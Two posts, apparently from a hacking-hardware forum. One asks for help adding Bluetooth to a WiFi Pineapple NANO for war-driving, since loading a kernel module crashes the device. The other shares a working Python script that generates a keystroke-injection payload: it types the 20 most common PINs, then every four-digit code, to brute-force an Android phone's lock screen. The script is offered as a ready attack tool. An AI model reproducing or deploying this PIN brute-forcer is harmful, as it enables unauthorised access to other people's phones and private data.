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  1. So I have been wanting to connect a USB Bluetooth adapter to the NANO so that I can send GPS data to war-drive from my phone. I have been following the instructions outlined here: http://blog.hackedexistence.com/?p=294 When I get to the point of adding the modules to the kernel specifically when I run "insmod ./rfcomm.ko" the Pineapple crashes and reboots. Any help would be much appreciated. Worst case I guess I could hook up a GPS module via FTDI, but I would like the wireless aspect of it.
  2. If anyone is having problems with the bash script, I have written something similar in Python. I mostly use the Raspberry Pi to do all my encoding. This script will inject 20 of the most common pin codes first, and then brute force afterwards. #!/usr/bin/python defaultList = ['1234', '1111', '0000', '1212', '7777', '1004', '2000', '4444', '2222', '6969', '9999', '3333', '5555', '6666', '1122', '1313', '8888', '4321', '2001', '1010']; def main(): fileOpen = open("android_payload.txt", "w+") fileOpen.write("DELAY 5000\n") for x in defaultList: fileOpen.write("STRING %s\n" % x); fileOpen.write("ENTER\nDELAY 500\n") for w in range(0,10): for z in range(0,10): for y in range(0,10): for x in range(0,10): fileOpen.write("STRING %d%d%d%d\n" % (w,z,y,x)) if (x % 2) == 0: fileOpen.write("ENTER\n") fileOpen.write("ENTER\nDELAY 500\n") fileOpen.close() main()
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